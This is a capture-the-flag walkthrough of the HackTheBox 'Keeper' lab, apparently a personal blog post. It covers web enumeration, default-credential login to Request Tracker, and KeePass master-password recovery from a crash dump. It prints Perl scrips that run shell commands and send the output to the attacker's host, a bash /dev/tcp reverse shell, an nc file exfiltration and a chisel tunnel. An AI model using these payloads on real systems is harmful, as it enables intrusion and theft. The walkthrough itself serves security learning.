Keeper

INTRODUCTION

Currently, Keeper is still active. It was released as the ninth box for HTB’s Hackers Clash: Open Beta Season II. Keeper is a very easy box, but with a few tricks up its sleeve. Personally, I found a few aspects of this box to be a little frustrating, but in retrospect those things that I found frustrating were probably the most realistic parts of the box. While it is marked as a Linux box, you’ll need to have a beginner’s grasp on some Windows tools to be able to escalate to root.

The foothold is deceptively easy, and had me going way off in the wrong direction for quite some time (although I did end up finding an alternate route to foothold, which is a little interesting). Proper use of OSINT goes a long way with this one. While Keeper is counts as a “box”, it plays a lot like a challenge: equal parts crypto and web. Keeper is the perfect box for anyone wanting a rapid introduction to HackTheBox - and I could definitely imagine HTB integrating this box into Starting Point later on.

title picture

RECON

nmap scans

For this box, I’m running the same enumeration strategy as the previous boxes in the Open Beta Season II. I set up a directory for the box, with a nmap subdirectory. Then set $RADDR to my target machine’s IP, and scanned it with a simple but broad port scan:

sudo nmap -p- -O --min-rate 1000 -oN nmap/port-scan.txt $RADDR
Nmap scan report for 10.10.11.227
Host is up (0.17s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Is this one entirely web? To investigate a little further, I ran a script scan over the ports I just found:

sudo nmap -sV -sC -n -Pn -p22,80 -oN nmap/script-scan.txt $RADDR
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 35:39:d4:39:40:4b:1f:61:86:dd:7c:37:bb:4b:98:9e (ECDSA)
|_  256 1a:e9:72:be:8b:b1:05:d5:ef:fe:dd:80:d8:ef:c0:66 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Just to be sure I got everything, I ran a script scan for the top 4000 most popular ports:

sudo nmap -sV -sC -n -Pn --top-ports 4000 -oN nmap/top-4000-ports.txt $RADDR
# No new results

Webserver Strategy

Noting the redirect from the nmap scan, I added keeper.htb to /etc/hosts and did banner grabbing on that domain:

DOMAIN=keeper.htb
echo "$RADDR $DOMAIN" | sudo tee -a /etc/hosts

☝️ I use tee instead of the append operator >> so that I don’t accidentally blow away my /etc/hosts file with a typo of > when I meant to write >>.

whatweb $RADDR && curl -IL http://$RADDR

whatweb

Before I start enumerating, I’ll take a quick look at the website. Navigating to the website http://keeper.htb shows only a link. It directs the user towards the tickets.keeper.htb subdomain:

redirect page

This is a clear indication that there is a subdomain to watch out for: tickets.keeper.htb. To make sure that there isn’t more than just tickets.keeper.htb, I performed vhost enumeration:

WLIST="/usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt"
ffuf -w $WLIST -u http://$RADDR/ -H "Host: FUZZ.htb" -c -t 80 -o fuzzing/vhost-root.md -of md -timeout 4 -ic -ac -v

No results. That’s confusing: I thought for sure that keeper.htb would be a result. Did I make a mistake? I already know keeper.htb exists, so I checked for vhosts in the subdomain way

ffuf -w $WLIST -u http://$RADDR -H "Host: FUZZ.keeper.htb" -c -t 80 -o fuzzing/vhost-keeper.md -of md -timeout 4 -ic -ac -v
[Status: 200, Size: 4236, Words: 407, Lines: 154, Duration: 201ms]
| URL | http://10.10.11.227
    * FUZZ: tickets

Then I performed subdomain enumeration

ffuf -w $WLIST -u http://FUZZ.$DOMAIN/ -c -t 80 -o ./fuzzing/subdomain-$DOMAIN.md -of md -timeout 4 -ic -ac -mc 200,204,301,307,401,403,405,500,404 -v

Same result as above: just tickets.keeper.htb. That’s the expected result. I’ll move on to directory enumeration on http://tickets.keeper.htb:

WLIST="/usr/share/seclists/Discovery/Web-Content/raft-small-words.txt"
OUTPUT="fuzzing/feroxbuster-root.json"  
feroxbuster -w $WLIST -u http://$DOMAIN -A -d 1 -t 100 -T 4 -f --auto-tune --collect-words --filter-status 400,401,402,403,404,405 --output $OUTPUT

Running Feroxbuster against http://keeper.htb/ had no results other than the page itself.

OUTPUT="fuzzing/feroxbuster-tickets.json"  
feroxbuster -w $WLIST -u http://tickets.$DOMAIN -A -d 1 -t 100 -T 4 -f --auto-tune --collect-words --filter-status 400,401,402,403,404,405 --output $OUTPUT

feroxbuster-tickets

Finally, I decided to try running Feroxbuster against the /rt web application, providing a cookie to go with it:

OUTPUT="fuzzing/feroxbuster-rt.json"  
feroxbuster -w $WLIST -u http://tickets.$DOMAIN/rt -A -d 2 -t 100 -T 4 -f --auto-tune --collect-words --filter-status 400,401,402,403,404,405 --output $OUTPUT -b "RT_SID_tickets.keeper.htb.80=2cb0fe766fdbb24f3c96fb458eb27fbd; TitleBox--_index_html------MTAgaGlnaGVzdCBwcmlvcml0eSB0aWNrZXRzIEkgb3du---0=1; TitleBox--_Admin_Scrips_Create_html------VXNlciBEZWZpbmVkIGNvbmRpdGlvbnMgYW5kIHJlc3VsdHM_---0=1" --burp

… And this provided a mountain of output. Instead, I’ll try an equivalent GoBuster:

gobuster dir -w $WLIST -u http://tickets.$DOMAIN/rt --random-agent -t 100 --timeout 4s -f --status-codes-blacklist 400,401,402,403,404,405 --output $OUTPUT -c "RT_SID_tickets.keeper.htb.80=2cb0fe766fdbb24f3c96fb458eb27fbd; TitleBox--_index_html------MTAgaGlnaGVzdCBwcmlvcml0eSB0aWNrZXRzIEkgb3du---0=1; TitleBox--_Admin_Scrips_Create_html------VXNlciBEZWZpbmVkIGNvbmRpdGlvbnMgYW5kIHJlc3VsdHM_---0=1" --proxy "http://127.0.0.1:8080" --no-error

The result was much more digestable:

gobuster

OSINT

The tickets.keeper.htb subdomain appears to be some kind of IT Helpdesk ticket tracking system, with a prominent login form:

index page

The footer of the page shows the following:

»|« RT 4.4.4+dfsg-2ubuntu1 (Debian) Copyright 1996-2019 Best Practical Solutions, LLC.

Distributed under version 2 of the GNU GPL. To inquire about support, training, custom development or licensing, please contact sales@bestpractical.com.

Following the “Best Practical Solutions” link shows from the landing page’s banner that the target’s software version, 4.4.4+dfsg-2ubuntu1 is out of date:

bestpractical

The link in the banner leads to the details on the release, and a link at the bottom of that page leads to the full release notes. Some important snippets of the 5.0.4 release notes are below, and it also references their github repo:

The 5.0.5 release notes

Security
* jQuery UI is updated to version 1.13.2, which addresses a security issue in
  earlier jQuery UI (CVE-2022-31160). This issue does not impact RT directly
  as RT does not currently use the impacted code.

Developer
* Update .gitignore to ignore all of var/ to help protect developers
  from accidentally checking in session data or RT databases in var/
* Add a warning as a hint to RT developers about WebSecureCookies

The 4.4.6 release notes

Security

The following security issues are fixed in this release. Thanks to the
Polish Financial Supervision Authority IT Security Department (UKNF)
for reporting the issue below.

* RT is vulnerable to cross-site scripting (XSS) when displaying attachment
content with fraudulent content types. This vulnerability is assigned
CVE-2022-25802.

* RT did not perform full rights checks on accesses to file or image type
custom fields, possibly allowing access to these custom fields by users
without rights to access to the associated objects (like the ticket it
is associated with).

And the configuration instructions on their github page shows the following:

 7) Configure the web server, as described in docs/web_deployment.pod,
    and the email gateway, as described below.

    NOTE: The default credentials for RT are:
        User: root
        Pass: password
    Not changing the root password from the default is a SECURITY risk!

When you find something as easy as default credentials, it makes sense to try them right away. And whatd’ya know…

default creds

… they worked! Superb. The most interesting part of this dashboard looks like the “Admin” menu. Admin > Users shows that there are just two users in the web app, one of which is root:

web app users

The “Scrip” System

The option Admin > Scrips also looks interesting. Is that just a typo? It looks like it’s used for selecting or creating new “scrips”, which are automated actions that are performed when a specified condition occurs:

scrips 1

Choosing “User Defined” for either Condition or Action allows the administrator to define the details of the “scrip”. The form doesn’t make it super obvious how this is done, so I looked through their git repo to find an explanation. Thankfully, I ran into Manual-Scrips within their online user manual. The code looks a lot like Perl.

Custom Action Commit/Preparation Code:

       $self->ScripActionObj   RT::ScripAction,
       $self->ScripObj         RT::Scrip,
       $self->TemplateObj      RT::Template,
       $self->TicketObj        RT::Ticket,
       $self->TransactionObj   RT::Transaction,

This seems promising. Maybe it will even be as simple as using a perl reverse shell or webshell?

FOOTHOLD

Custom Scrip Definition

Note: While this is one route towards the flag, it is not the most direct route. If you’re short on time, please skip ahead to section USER FLAG > Revisiting the Web App for a more straightforward solution. If you want the extra context for the box, or want to learn how to do SSRF using Perl, please read on.

Clearly, the Scrips feature of RT has the ability to run Perl code. To try this out, I’ll define a custom scrip. The condition will simply be set to creating a new ticket, but the action will be set to User Defined. I’ll try a simple perl reverse shell:

custom scrip 1

custom scrip 2

Clicking the “click here to resume your request” link simply leads to a 404 page.

To bypass this, I swapped out the destination of the link from being http ://keeper.htb/rt/Admin/Scrips/Modify.html?CSRF_Token=4024b14add0dbd362421caa3a0939815

to being: http://**tickets.**keeper.htb/rt/Admin/Scrips/Modify.html?CSRF_Token=4024b14add0dbd362421caa3a0939815

It seems like I must use this same trick all over the website for the same reason. Either that, or figure out a way to include a referrer header in every request.

Unfortunately, my reverse shell attempt was unsuccessful. Not sure why, yet.

While researching this “Scrips” feature, I found a CVE noting a possible SSRF, so I decided to try it out. I set this as the “preparation” and “commit” code of a Custom Action:

The “commit” action requests /ssrf-success-commit but is otherwise the same.

use LWP::UserAgent;

my $url = 'http://10.10.14.10:8000/ssrf-success-preparation';
my $ua = LWP::UserAgent->new;
my $response = $ua->get($url);

if ($response->is_success) {
    my $content = $response->decoded_content;
    print "Response:\n$content\n"
}

Success! Interestingly, only the “preparation” code was successful… I’ll go back and try a reverse shell, but this time I’ll put the code into the “preparation action” (I used “commit” earlier):

reverse shell scrip 2

reverse shell scrip 3

Next I’ll verify my firewall is open and start the reverse shell listener:

sudo ufw allow from $RADDR to any port 4444
bash # Usually I'm in zsh
socat -d -d TCP-LISTEN:4444 STDOUT

And to trigger the reverse shell I’ll try creating a ticket. Still no luck though. Hmm…. I’ll look around the web app a little more and see if I’m missing something.

Oh, DUH! I had neglected to check for open tickets! There is one open ticket, assigned to the other user:

open ticket hint

Now I know there should be a file inside Lise’s home directory. I’ll try combining this knowledge with my successful SSRF from earlier to eventually read whatever that attachment is.

I made a new Script, using this as “preparation” code:

use LWP::UserAgent;

my $output = `ls /home | base64 -w 0`;
my $url = 'http://10.10.14.10:8000/ssrf?result=' . $output;
my $ua = LWP::UserAgent->new;
my $response = $ua->get($url);

if ($response->is_success) {
    my $content = $response->decoded_content;
    print "Response:\n$content\n"
}

After creating a new ticket, I saw the following request come in to my webserver:

10.10.11.227 - - [13/Aug/2023 13:57:37] code 404, message File not found
10.10.11.227 - - [13/Aug/2023 13:57:37] "GET /ssrf?result=bG5vcmdhYXJkCg== HTTP/1.1" 404 -

Decoding this using base64 --decode yields a single word: lnorgaard. Great! Now I’ll see if, for some reason, I have read access to their home directory:

10.10.11.227 - - [13/Aug/2023 14:02:25] code 404, message File not found
10.10.11.227 - - [13/Aug/2023 14:02:25] "GET /ssrf?result=UlQzMDAwMC56aXAKdXNlci50eHQK HTTP/1.1" 404 -

ssrf success 2

Haha OK, that was easier than I thought it would be. I’ll try using this same technique to plant an SSH key into their home directory, then. I generated an rsa keypair using the password “lise”, and made a bash one-liner to plant the key:

planting ssh key

Hmm, nope. No “result” came back to my webserver. I tried connecting using SSH and the generated key anyway, and it did not work. To check if this was a permissions issue or not, I tried two more commands: one to check what user I was executing commands as, and the other to check permissions on /home/lnorgaard; they were id and ls -laR /home/lnorgaard:

uid=33(www-data) gid=33(www-data) groups=33(www-data)
/home/lnorgaard:
total 85384
drwxr-xr-x 4 lnorgaard lnorgaard     4096 Jul 25 20:00 .
drwxr-xr-x 3 root      root          4096 May 24 16:09 ..
lrwxrwxrwx 1 root      root             9 May 24 15:55 .bash_history -> /dev/null
-rw-r--r-- 1 lnorgaard lnorgaard      220 May 23 14:43 .bash_logout
-rw-r--r-- 1 lnorgaard lnorgaard     3771 May 23 14:43 .bashrc
drwx------ 2 lnorgaard lnorgaard     4096 May 24 16:09 .cache
-rw------- 1 lnorgaard lnorgaard      807 May 23 14:43 .profile
-rw-r--r-- 1 root      root      87391651 Aug 13 17:30 RT30000.zip
drwx------ 2 lnorgaard lnorgaard     4096 Jul 24 10:25 .ssh
-rw-r----- 1 root      lnorgaard       33 Aug 13 11:25 user.txt
-rw-r--r-- 1 root      root            39 Jul 20 19:03 .vimrc

Well, at least that explains why I couldn’t plant an SSH key. I couldn’t get the Perl reverse shell working (for whatever reason), but since I clearly have a reliable RCE, why don’t I just try a simple bash reverse shell?

I once gain submitted a Scrip with custom “preparation” code, this time using a simple bash reverse shell:

use LWP::UserAgent;

my $output = `bash -c '/bin/bash -i >& /dev/tcp/10.10.14.10/4444 0>&1'`;
my $url = 'http://10.10.14.10:8000/ssrf?result=' . $output;
my $ua = LWP::UserAgent->new;
my $response = $ua->get($url);

if ($response->is_success) {
    my $content = $response->decoded_content;
    print "Response:\n$content\n"
}

got reverse shell

It worked! Wonderful 🐻

Now that I have a reverse shell, I’ll try transferring that “crash dump” that ticket #30000 referred to. I’ll try the simplest way first, using nc. On the attacker box I opened a nc listener, then on the target I transferred the file. While the attacker box was receiving the file, I watched the file size using watch ls -lah

sudo ufw allow from $RADDR to any port 4445
nc -lvnp 4445 > RT30000.zip
nc -nv 10.10.14.10 4445 < /home/lnorgaard/RT30000.zip

Once the file size stopped changing, I killed the connection from the attacker size, and ran sha256sum over the file on both hosts. To my amazement, they matched, even 84MB later!

The file itself is in .zip format. When extracted, it produces two files: KeePassDumpFull.dmp and passcodes.kdbx.

A kdbx file is a Keepass password database file. KeePass is like an offline password manager: it unlocks with a master password and contains other passwords. If I could get into this file, I bet there are some goodies inside.

The .dmp file could be anything, though. According to the message chain uncovered from with the RT ticket history for ticket #30000, this file is a crash dump for KeePass on Windows. Not knowing what to open it with, I tried running the .dmp file through binwalk. There is all kinds of data in there, but at least a couple of times it mentions the following:

gzip compressed data, maximum compression, has original file name: “MostPopularPasswords.txt”, from FAT filesystem (MS-DOS, OS/2, NT), last modified: 2013-07-01 17:20:34

It’s a little strange. Maybe it’s a hint about the passcodes.kdbx file. Not sure. I’ll come back to it later 🚩.

USER FLAG

User Enumeration: www-data

Unfortunately, enumeration is a bit slow-going with this reverse shell. However, I’ve discovered a few things:

  • www-data has write access to a few important directories: /var/lib/request-tracker4, /var/mail/www-data, and /var/cache/request-tracker4. The mail file simply shows the message chain that I already saw with the RT web app.

I ran linpeas, which did not say much, but did point out the RT configuration files. One of these config files is the database configuration file for RT:

database creds

For copy-pasting, that connection is on localhost:3306, database “rtdb”, credentials: rtuser : x7UiXkF55nnfC0h. To access it, I’ll set up a SOCKS proxy using chisel. I’ll begin by opening a firewall port and starting the chisel server:

☝️ Note: I already have proxychains installed, and my /etc/proxychains.conf file ends with:

...
socks5  127.0.0.1 1080
#socks4 127.0.0.1 9050
sudo ufw allow from $RADDR to any port 9999 proto tcp
./chisel server --port 9999 --reverse --key s4ucys3cret

Then, on the target machine, start up the chisel client and background it:

./chisel client 10.10.14.2:9999 R:1080:socks &

Perfect, now I’ll try connecting to the MySQL database using my attacker machine:

 proxychains mysql -u rtuser -h 127.0.0.1 -p

I checked out the Users table first, which seemed promising:

mysql

However, as soon as I tried to perform a query, everything just stalled-out… completely nonresponsive.

At this point I’m getting really sick of rebuilding my reverse shell, downloading my tools, etc. I decided to take another look at the web app itself to see if I was missing something visible from the outside.

💡 Edit: When i rebuilt my connection, I discovered that, had I gotten even a single step further with checking out this database, I would have recovered the password to lnorgaard in a different way - (turns out it is available by two methods: using the database to get it is the longer, more difficult of the two methods)

Oh well. Frustrating, but you can’t do everything perfect.

Revisiting the Web App

Yep… right away I found what I had missed. I have been working way way way too hard. I think I need to put a sticker on my laptop saying “search wide, not deep”. The credentials for lnorgaard are right there, out in the open, under Admin > Users > Select:

lise creds

Excellent, so the credentials for lise are lnorgaard : Welcome2023!

SSH as lise

🤕 I feel so stupid for going down that whole SSRF and reverse shell rabbit hole. But hey, kinda cool I found another way to get in though, I suppose. The SSH connection drops you into /home/lnorgaard, adjacent to the user flag. Simply cat it out for the points:

cat user.txt

ROOT FLAG

User Enumeration - lnorgaard

I performed my usual Linux User Enumeration strategy. However, I did not uncover much in terms of meaningful results. This is the only seemingly meaningful information that I did find:

  • lnorgaard cannot sudo at all.
  • Very few directories are writable.
  • The /var/mail/lnorgaard file shows the same email chain as was seen earlier using the RT web app. It alludes to the KeePass crash dump that is in the home directory.
  • Linpeas had nothing additional.

KeePass Crash Dump

What am I going to do with this 84MB zip file, and its crash dump .dmp file inside? To get a little context on the problem, I started with some google search. Searching or the terms “KeePass crash dump exploit” was full of references to a CVE from this year: CVE-2023-32784. Not only that, but the very first result of the search was some PoC code to exploit that CVE.

As it turns out, some statistical measurements can be made using system memory and caching, which allows the KeePass master password to be uncovered, to some degree. One notable tool for recovering these is shown in this github repo. However, since it relies on dotnet (and I did not want to deal with the hassle of setting up a .Net environment), I took a look at one of the alternative tools in the links at the bottom of that repo. The Python one, shown in this github repo, looked especially easy to use. Why not try it out?

My guess is that I can use this tool to scan the .dmp file, to recover the password for the .kdbx file. I cloned the repo, and ran the tool using the .dmp file as an input:

git clone https://github.com/CMEPW/keepass-dump-masterkey.git
python3 poc.py ../RT30000/KeePassDumpFull.dmp

It calculated for a minute, but then spat out a bunch of possible passwords!

password possibilities

Amazing. I’ll have to come back to this tool and read about how it works. It’s interesting that the unknown characters are all in the same positions. While it would be easy to scrap together a python script for this, it’s probably even easier to use hashcat. I’ll pretend that the second character (the only character different between those lines) is also a variable character. I’ll use hashcat in mask attack mode to accommodate this:

hashcat --help | grep -i keepass
  13400 | KeePass 1 (AES/Twofish) and KeePass 2 (AES)                | Password Manager
  29700 | KeePass 1 (AES/Twofish) and KeePass 2 (AES) - keyfile only mode | Password Manager
hashcat -a 3 -m 13400 keepass.hc '?a?adgr?ad med fl?ade'

And… it didn’t find a match! How annoying. I even re-tried using the special Danish letters that are not in ASCII - still no luck. So, I did as anyone does these days and summoned the power of big data / search: I plonked it into google, with question marks where the unknown letters are, and immediately got a bunch of baking blogs?! Well, it turns out there is a famous Danish dessert called a “Rødgrød med fløde” (it’s like a pudding with berries in it).

So I tried that password as shown below, in lowercase, uppercase, and propercase. Turns out lowercase was the winner.

Following along with the instructions from the python tool, keepass-dump-masterkey, once the password is obtained it can be used with kpcli to log in to the keypass .kdbx file.

kpcli:/> open passcodes.kdbx
Provide the master password: ************************* # Entered 'rødgrød med fløde'

That worked, now I’ll see what the contents are. By using tab-completion with the show command, I found two keys:

kpcli:/> show -f passcodes/Network/
passcodes/Network/keeper.htb\ (Ticketing\ Server)  passcodes/Network/Ticketing\ System

While the second one just shows the lnorgaard credential, the first one shows something much more interesting:

putty key file

That’s a PuTTY RSA key file. PuTTY is a little more annoying that SSH to use; there are a few specific things to do. At this point, all I know is that it works a little differently, and that I can’t use regular ssh, so I’ll install some PuTTY tools from my package manager:

sudo apt install putty putty-tools

I’ll try generating a new key using puttygen (basically a drop-in replacement for ssh-keygen):

puttygen -t rsa -b 1024 -o root_id_rsa
# Entered the password I found in the kdbx file

The resulting file had a different Encryption field than the one from the kdbx file. I guess I wasn’t supposed to use a password? Also, I could see that the file was too short, so I tried the next step up in length (2048b):

puttygen -t rsa -b 2048 -o root_id_rsa2
# Did not specify a password

This one looked like it was in the right format - which was the whole point of trying puttygen. Next, I’ll copy the entry from the kdbx file into a separate file, root_id_rsa3:

rsa key file

I think now it’s finally ready to use. I opened up PuTTY, specified the connection address and the key:

putty settings 1

putty settings 2

putty settings 3

Once the address and key are specified, I clicked Open and was presented with a terminal. I just had to specify the username root, and I was finally in:

root putty

Now I am able to cat out the flag for those sweet sweet root flag points 🍒

cat /root/root.txt

You may be wondering what the mail was. Well, you know all those times when you sudo something on a box where you do not have sudo access, and it tells you THIS INCIDENT WILL BE REPORTED…. Yeah it was just pages and pages of that. A bunch of failed login and sudo attempts 😂

LESSONS LEARNED

two crossed swords

Attacker

  • Key idea. Idea details go here.

  • Key idea. Idea details go here.

two crossed swords

Defender

  • Key idea. Idea details go here.

  • Key idea. Idea details go here.


Thanks for reading

🤝🤝🤝🤝
@4wayhandshake